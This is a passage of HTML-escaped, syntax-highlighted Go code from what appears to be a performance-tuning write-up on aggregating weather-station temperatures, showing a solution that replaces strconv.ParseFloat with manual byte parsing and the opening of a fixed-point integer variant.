&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">stationStats&lt;/span> &lt;span style="color:#f92672">:=&lt;/span> make(&lt;span style="color:#66d9ef">map&lt;/span>[&lt;span style="color:#66d9ef">string&lt;/span>]&lt;span style="color:#f92672">*&lt;/span>&lt;span style="color:#a6e22e">stats&lt;/span>)
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">scanner&lt;/span> &lt;span style="color:#f92672">:=&lt;/span> &lt;span style="color:#a6e22e">bufio&lt;/span>.&lt;span style="color:#a6e22e">NewScanner&lt;/span>(&lt;span style="color:#a6e22e">f&lt;/span>)
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#66d9ef">for&lt;/span> &lt;span style="color:#a6e22e">scanner&lt;/span>.&lt;span style="color:#a6e22e">Scan&lt;/span>() {
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">line&lt;/span> &lt;span style="color:#f92672">:=&lt;/span> &lt;span style="color:#a6e22e">scanner&lt;/span>.&lt;span style="color:#a6e22e">Text&lt;/span>()
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">station&lt;/span>, &lt;span style="color:#a6e22e">tempStr&lt;/span>, &lt;span style="color:#a6e22e">hasSemi&lt;/span> &lt;span style="color:#f92672">:=&lt;/span> &lt;span style="color:#a6e22e">strings&lt;/span>.&lt;span style="color:#a6e22e">Cut&lt;/span>(&lt;span style="color:#a6e22e">line&lt;/span>, &lt;span style="color:#e6db74">&amp;#34;;&amp;#34;&lt;/span>)
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#66d9ef">if&lt;/span> !&lt;span style="color:#a6e22e">hasSemi&lt;/span> {
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#66d9ef">continue&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> }
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">temp&lt;/span>, &lt;span style="color:#a6e22e">err&lt;/span> &lt;span style="color:#f92672">:=&lt;/span> &lt;span style="color:#a6e22e">strconv&lt;/span>.&lt;span style="color:#a6e22e">ParseFloat&lt;/span>(&lt;span style="color:#a6e22e">tempStr&lt;/span>, &lt;span style="color:#ae81ff">64&lt;/span>)
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#66d9ef">if&lt;/span> &lt;span style="color:#a6e22e">err&lt;/span> &lt;span style="color:#f92672">!=&lt;/span> &lt;span style="color:#66d9ef">nil&lt;/span> {
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#66d9ef">return&lt;/span> &lt;span style="color:#a6e22e">err&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> }
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">s&lt;/span> &lt;span style="color:#f92672">:=&lt;/span> &lt;span style="color:#a6e22e">stationStats&lt;/span>[&lt;span style="color:#a6e22e">station&lt;/span>]
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#66d9ef">if&lt;/span> &lt;span style="color:#a6e22e">s&lt;/span> &lt;span style="color:#f92672">==&lt;/span> &lt;span style="color:#66d9ef">nil&lt;/span> {
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">stationStats&lt;/span>[&lt;span style="color:#a6e22e">station&lt;/span>] = &lt;span style="color:#f92672">&amp;amp;&lt;/span>&lt;span style="color:#a6e22e">stats&lt;/span>{
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">min&lt;/span>: &lt;span style="color:#a6e22e">temp&lt;/span>,
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">max&lt;/span>: &lt;span style="color:#a6e22e">temp&lt;/span>,
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">sum&lt;/span>: &lt;span style="color:#a6e22e">temp&lt;/span>,
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">count&lt;/span>: &lt;span style="color:#ae81ff">1&lt;/span>,
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> }
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> } &lt;span style="color:#66d9ef">else&lt;/span> {
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">s&lt;/span>.&lt;span style="color:#a6e22e">min&lt;/span> = min(&lt;span style="color:#a6e22e">s&lt;/span>.&lt;span style="color:#a6e22e">min&lt;/span>, &lt;span style="color:#a6e22e">temp&lt;/span>)
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">s&lt;/span>.&lt;span style="color:#a6e22e">max&lt;/span> = max(&lt;span style="color:#a6e22e">s&lt;/span>.&lt;span style="color:#a6e22e">max&lt;/span>, &lt;span style="color:#a6e22e">temp&lt;/span>)
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">s&lt;/span>.&lt;span style="color:#a6e22e">sum&lt;/span> &lt;span style="color:#f92672">+=&lt;/span> &lt;span style="color:#a6e22e">temp&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">s&lt;/span>.&lt;span style="color:#a6e22e">count&lt;/span>&lt;span style="color:#f92672">++&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> }
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> }
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">stations&lt;/span> &lt;span style="color:#f92672">:=&lt;/span> make([]&lt;span style="color:#66d9ef">string&lt;/span>, &lt;span style="color:#ae81ff">0&lt;/span>, len(&lt;span style="color:#a6e22e">stationStats&lt;/span>))
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#66d9ef">for&lt;/span> &lt;span style="color:#a6e22e">station&lt;/span> &lt;span style="color:#f92672">:=&lt;/span> &lt;span style="color:#66d9ef">range&lt;/span> &lt;span style="color:#a6e22e">stationStats&lt;/span> {
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">stations&lt;/span> = append(&lt;span style="color:#a6e22e">stations&lt;/span>, &lt;span style="color:#a6e22e">station&lt;/span>)
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> }
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">sort&lt;/span>.&lt;span style="color:#a6e22e">Strings&lt;/span>(&lt;span style="color:#a6e22e">stations&lt;/span>)
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">fmt&lt;/span>.&lt;span style="color:#a6e22e">Fprint&lt;/span>(&lt;span style="color:#a6e22e">output&lt;/span>, &lt;span style="color:#e6db74">&amp;#34;{&amp;#34;&lt;/span>)
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#66d9ef">for&lt;/span> &lt;span style="color:#a6e22e">i&lt;/span>, &lt;span style="color:#a6e22e">station&lt;/span> &lt;span style="color:#f92672">:=&lt;/span> &lt;span style="color:#66d9ef">range&lt;/span> &lt;span style="color:#a6e22e">stations&lt;/span> {
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#66d9ef">if&lt;/span> &lt;span style="color:#a6e22e">i&lt;/span> &amp;gt; &lt;span style="color:#ae81ff">0&lt;/span> {
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">fmt&lt;/span>.&lt;span style="color:#a6e22e">Fprint&lt;/span>(&lt;span style="color:#a6e22e">output&lt;/span>, &lt;span style="color:#e6db74">&amp;#34;, &amp;#34;&lt;/span>)
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> }
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">s&lt;/span> &lt;span style="color:#f92672">:=&lt;/span> &lt;span style="color:#a6e22e">stationStats&lt;/span>[&lt;span style="color:#a6e22e">station&lt;/span>]
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">mean&lt;/span> &lt;span style="color:#f92672">:=&lt;/span> &lt;span style="color:#a6e22e">s&lt;/span>.&lt;span style="color:#a6e22e">sum&lt;/span> &lt;span style="color:#f92672">/&lt;/span> float64(&lt;span style="color:#a6e22e">s&lt;/span>.&lt;span style="color:#a6e22e">count&lt;/span>)
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">fmt&lt;/span>.&lt;span style="color:#a6e22e">Fprintf&lt;/span>(&lt;span style="color:#a6e22e">output&lt;/span>, &lt;span style="color:#e6db74">&amp;#34;%s=%.1f/%.1f/%.1f&amp;#34;&lt;/span>, &lt;span style="color:#a6e22e">station&lt;/span>, &lt;span style="color:#a6e22e">s&lt;/span>.&lt;span style="color:#a6e22e">min&lt;/span>, &lt;span style="color:#a6e22e">mean&lt;/span>, &lt;span style="color:#a6e22e">s&lt;/span>.&lt;span style="color:#a6e22e">max&lt;/span>)
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> }
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">fmt&lt;/span>.&lt;span style="color:#a6e22e">Fprint&lt;/span>(&lt;span style="color:#a6e22e">output&lt;/span>, &lt;span style="color:#e6db74">&amp;#34;}\n&amp;#34;&lt;/span>)
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#66d9ef">return&lt;/span> &lt;span style="color:#66d9ef">nil&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>}
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;h5 id="solution-3-avoid-strconvparsefloat">Solution 3: avoid strconv.ParseFloat&lt;/h5>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-go" data-lang="go">&lt;span style="display:flex;">&lt;span>&lt;span style="color:#75715e">// r3: parse temperatures manually instead of using strconv.ParseFloat&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#75715e">//&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#75715e">// ~517ms for 10M rows (1.94x as fast as r1)&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#f92672">package&lt;/span> &lt;span style="color:#a6e22e">main&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#f92672">import&lt;/span> (
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#e6db74">&amp;#34;bufio&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#e6db74">&amp;#34;bytes&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#e6db74">&amp;#34;fmt&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#e6db74">&amp;#34;io&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#e6db74">&amp;#34;os&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#e6db74">&amp;#34;sort&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>)
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#66d9ef">func&lt;/span> &lt;span style="color:#a6e22e">r3&lt;/span>(&lt;span style="color:#a6e22e">inputPath&lt;/span> &lt;span style="color:#66d9ef">string&lt;/span>, &lt;span style="color:#a6e22e">output&lt;/span> &lt;span style="color:#a6e22e">io&lt;/span>.&lt;span style="color:#a6e22e">Writer&lt;/span>) &lt;span style="color:#66d9ef">error&lt;/span> {
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#66d9ef">type&lt;/span> &lt;span style="color:#a6e22e">stats&lt;/span> &lt;span style="color:#66d9ef">struct&lt;/span> {
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">min&lt;/span>, &lt;span style="color:#a6e22e">max&lt;/span>, &lt;span style="color:#a6e22e">sum&lt;/span> &lt;span style="color:#66d9ef">float64&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">count&lt;/span> &lt;span style="color:#66d9ef">int64&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> }
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">f&lt;/span>, &lt;span style="color:#a6e22e">err&lt;/span> &lt;span style="color:#f92672">:=&lt;/span> &lt;span style="color:#a6e22e">os&lt;/span>.&lt;span style="color:#a6e22e">Open&lt;/span>(&lt;span style="color:#a6e22e">inputPath&lt;/span>)
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#66d9ef">if&lt;/span> &lt;span style="color:#a6e22e">err&lt;/span> &lt;span style="color:#f92672">!=&lt;/span> &lt;span style="color:#66d9ef">nil&lt;/span> {
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#66d9ef">return&lt;/span> &lt;span style="color:#a6e22e">err&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> }
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#66d9ef">defer&lt;/span> &lt;span style="color:#a6e22e">f&lt;/span>.&lt;span style="color:#a6e22e">Close&lt;/span>()
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">stationStats&lt;/span> &lt;span style="color:#f92672">:=&lt;/span> make(&lt;span style="color:#66d9ef">map&lt;/span>[&lt;span style="color:#66d9ef">string&lt;/span>]&lt;span style="color:#f92672">*&lt;/span>&lt;span style="color:#a6e22e">stats&lt;/span>)
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">scanner&lt;/span> &lt;span style="color:#f92672">:=&lt;/span> &lt;span style="color:#a6e22e">bufio&lt;/span>.&lt;span style="color:#a6e22e">NewScanner&lt;/span>(&lt;span style="color:#a6e22e">f&lt;/span>)
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#66d9ef">for&lt;/span> &lt;span style="color:#a6e22e">scanner&lt;/span>.&lt;span style="color:#a6e22e">Scan&lt;/span>() {
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">line&lt;/span> &lt;span style="color:#f92672">:=&lt;/span> &lt;span style="color:#a6e22e">scanner&lt;/span>.&lt;span style="color:#a6e22e">Bytes&lt;/span>()
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">station&lt;/span>, &lt;span style="color:#a6e22e">tempBytes&lt;/span>, &lt;span style="color:#a6e22e">hasSemi&lt;/span> &lt;span style="color:#f92672">:=&lt;/span> &lt;span style="color:#a6e22e">bytes&lt;/span>.&lt;span style="color:#a6e22e">Cut&lt;/span>(&lt;span style="color:#a6e22e">line&lt;/span>, []byte(&lt;span style="color:#e6db74">&amp;#34;;&amp;#34;&lt;/span>))
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#66d9ef">if&lt;/span> !&lt;span style="color:#a6e22e">hasSemi&lt;/span> {
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#66d9ef">continue&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> }
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">negative&lt;/span> &lt;span style="color:#f92672">:=&lt;/span> &lt;span style="color:#66d9ef">false&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">index&lt;/span> &lt;span style="color:#f92672">:=&lt;/span> &lt;span style="color:#ae81ff">0&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#66d9ef">if&lt;/span> &lt;span style="color:#a6e22e">tempBytes&lt;/span>[&lt;span style="color:#a6e22e">index&lt;/span>] &lt;span style="color:#f92672">==&lt;/span> &lt;span style="color:#e6db74">&amp;#39;-&amp;#39;&lt;/span> {
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">index&lt;/span>&lt;span style="color:#f92672">++&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">negative&lt;/span> = &lt;span style="color:#66d9ef">true&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> }
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">temp&lt;/span> &lt;span style="color:#f92672">:=&lt;/span> float64(&lt;span style="color:#a6e22e">tempBytes&lt;/span>[&lt;span style="color:#a6e22e">index&lt;/span>] &lt;span style="color:#f92672">-&lt;/span> &lt;span style="color:#e6db74">&amp;#39;0&amp;#39;&lt;/span>)
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">index&lt;/span>&lt;span style="color:#f92672">++&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#66d9ef">if&lt;/span> &lt;span style="color:#a6e22e">tempBytes&lt;/span>[&lt;span style="color:#a6e22e">index&lt;/span>] &lt;span style="color:#f92672">!=&lt;/span> &lt;span style="color:#e6db74">&amp;#39;.&amp;#39;&lt;/span> {
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">temp&lt;/span> = &lt;span style="color:#a6e22e">temp&lt;/span>&lt;span style="color:#f92672">*&lt;/span>&lt;span style="color:#ae81ff">10&lt;/span> &lt;span style="color:#f92672">+&lt;/span> float64(&lt;span style="color:#a6e22e">tempBytes&lt;/span>[&lt;span style="color:#a6e22e">index&lt;/span>]&lt;span style="color:#f92672">-&lt;/span>&lt;span style="color:#e6db74">&amp;#39;0&amp;#39;&lt;/span>)
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">index&lt;/span>&lt;span style="color:#f92672">++&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> }
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">index&lt;/span>&lt;span style="color:#f92672">++&lt;/span> &lt;span style="color:#75715e">// skip &amp;#39;.&amp;#39;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">temp&lt;/span> &lt;span style="color:#f92672">+=&lt;/span> float64(&lt;span style="color:#a6e22e">tempBytes&lt;/span>[&lt;span style="color:#a6e22e">index&lt;/span>]&lt;span style="color:#f92672">-&lt;/span>&lt;span style="color:#e6db74">&amp;#39;0&amp;#39;&lt;/span>) &lt;span style="color:#f92672">/&lt;/span> &lt;span style="color:#ae81ff">10&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#66d9ef">if&lt;/span> &lt;span style="color:#a6e22e">negative&lt;/span> {
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">temp&lt;/span> = &lt;span style="color:#f92672">-&lt;/span>&lt;span style="color:#a6e22e">temp&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> }
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">s&lt;/span> &lt;span style="color:#f92672">:=&lt;/span> &lt;span style="color:#a6e22e">stationStats&lt;/span>[string(&lt;span style="color:#a6e22e">station&lt;/span>)]
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#66d9ef">if&lt;/span> &lt;span style="color:#a6e22e">s&lt;/span> &lt;span style="color:#f92672">==&lt;/span> &lt;span style="color:#66d9ef">nil&lt;/span> {
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">stationStats&lt;/span>[string(&lt;span style="color:#a6e22e">station&lt;/span>)] = &lt;span style="color:#f92672">&amp;amp;&lt;/span>&lt;span style="color:#a6e22e">stats&lt;/span>{
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">min&lt;/span>: &lt;span style="color:#a6e22e">temp&lt;/span>,
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">max&lt;/span>: &lt;span style="color:#a6e22e">temp&lt;/span>,
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">sum&lt;/span>: &lt;span style="color:#a6e22e">temp&lt;/span>,
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">count&lt;/span>: &lt;span style="color:#ae81ff">1&lt;/span>,
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> }
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> } &lt;span style="color:#66d9ef">else&lt;/span> {
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">s&lt;/span>.&lt;span style="color:#a6e22e">min&lt;/span> = min(&lt;span style="color:#a6e22e">s&lt;/span>.&lt;span style="color:#a6e22e">min&lt;/span>, &lt;span style="color:#a6e22e">temp&lt;/span>)
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">s&lt;/span>.&lt;span style="color:#a6e22e">max&lt;/span> = max(&lt;span style="color:#a6e22e">s&lt;/span>.&lt;span style="color:#a6e22e">max&lt;/span>, &lt;span style="color:#a6e22e">temp&lt;/span>)
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">s&lt;/span>.&lt;span style="color:#a6e22e">sum&lt;/span> &lt;span style="color:#f92672">+=&lt;/span> &lt;span style="color:#a6e22e">temp&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">s&lt;/span>.&lt;span style="color:#a6e22e">count&lt;/span>&lt;span style="color:#f92672">++&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> }
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> }
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">stations&lt;/span> &lt;span style="color:#f92672">:=&lt;/span> make([]&lt;span style="color:#66d9ef">string&lt;/span>, &lt;span style="color:#ae81ff">0&lt;/span>, len(&lt;span style="color:#a6e22e">stationStats&lt;/span>))
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#66d9ef">for&lt;/span> &lt;span style="color:#a6e22e">station&lt;/span> &lt;span style="color:#f92672">:=&lt;/span> &lt;span style="color:#66d9ef">range&lt;/span> &lt;span style="color:#a6e22e">stationStats&lt;/span> {
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">stations&lt;/span> = append(&lt;span style="color:#a6e22e">stations&lt;/span>, &lt;span style="color:#a6e22e">station&lt;/span>)
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> }
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">sort&lt;/span>.&lt;span style="color:#a6e22e">Strings&lt;/span>(&lt;span style="color:#a6e22e">stations&lt;/span>)
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">fmt&lt;/span>.&lt;span style="color:#a6e22e">Fprint&lt;/span>(&lt;span style="color:#a6e22e">output&lt;/span>, &lt;span style="color:#e6db74">&amp;#34;{&amp;#34;&lt;/span>)
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#66d9ef">for&lt;/span> &lt;span style="color:#a6e22e">i&lt;/span>, &lt;span style="color:#a6e22e">station&lt;/span> &lt;span style="color:#f92672">:=&lt;/span> &lt;span style="color:#66d9ef">range&lt;/span> &lt;span style="color:#a6e22e">stations&lt;/span> {
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#66d9ef">if&lt;/span> &lt;span style="color:#a6e22e">i&lt;/span> &amp;gt; &lt;span style="color:#ae81ff">0&lt;/span> {
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">fmt&lt;/span>.&lt;span style="color:#a6e22e">Fprint&lt;/span>(&lt;span style="color:#a6e22e">output&lt;/span>, &lt;span style="color:#e6db74">&amp;#34;, &amp;#34;&lt;/span>)
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> }
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">s&lt;/span> &lt;span style="color:#f92672">:=&lt;/span> &lt;span style="color:#a6e22e">stationStats&lt;/span>[&lt;span style="color:#a6e22e">station&lt;/span>]
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">mean&lt;/span> &lt;span style="color:#f92672">:=&lt;/span> &lt;span style="color:#a6e22e">s&lt;/span>.&lt;span style="color:#a6e22e">sum&lt;/span> &lt;span style="color:#f92672">/&lt;/span> float64(&lt;span style="color:#a6e22e">s&lt;/span>.&lt;span style="color:#a6e22e">count&lt;/span>)
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">fmt&lt;/span>.&lt;span style="color:#a6e22e">Fprintf&lt;/span>(&lt;span style="color:#a6e22e">output&lt;/span>, &lt;span style="color:#e6db74">&amp;#34;%s=%.1f/%.1f/%.1f&amp;#34;&lt;/span>, &lt;span style="color:#a6e22e">station&lt;/span>, &lt;span style="color:#a6e22e">s&lt;/span>.&lt;span style="color:#a6e22e">min&lt;/span>, &lt;span style="color:#a6e22e">mean&lt;/span>, &lt;span style="color:#a6e22e">s&lt;/span>.&lt;span style="color:#a6e22e">max&lt;/span>)
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> }
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">fmt&lt;/span>.&lt;span style="color:#a6e22e">Fprint&lt;/span>(&lt;span style="color:#a6e22e">output&lt;/span>, &lt;span style="color:#e6db74">&amp;#34;}\n&amp;#34;&lt;/span>)
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#66d9ef">return&lt;/span> &lt;span style="color:#66d9ef">nil&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>}
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;h5 id="solution-4-fixed-point-integers">Solution 4: fixed point integers&lt;/h5>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-go" data-lang="go">&lt;span style="display:flex;">&lt;span>&lt;span style="color:#75715e">// r4: use fixed point int32s (*10) instead of float64s&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#75715e">//&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#75715e">// ~491ms for 10M rows (2.04x as fast as r1)&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#f92672">package&lt;/span> &lt;span style="color:#a6e22e">main&lt;/span>
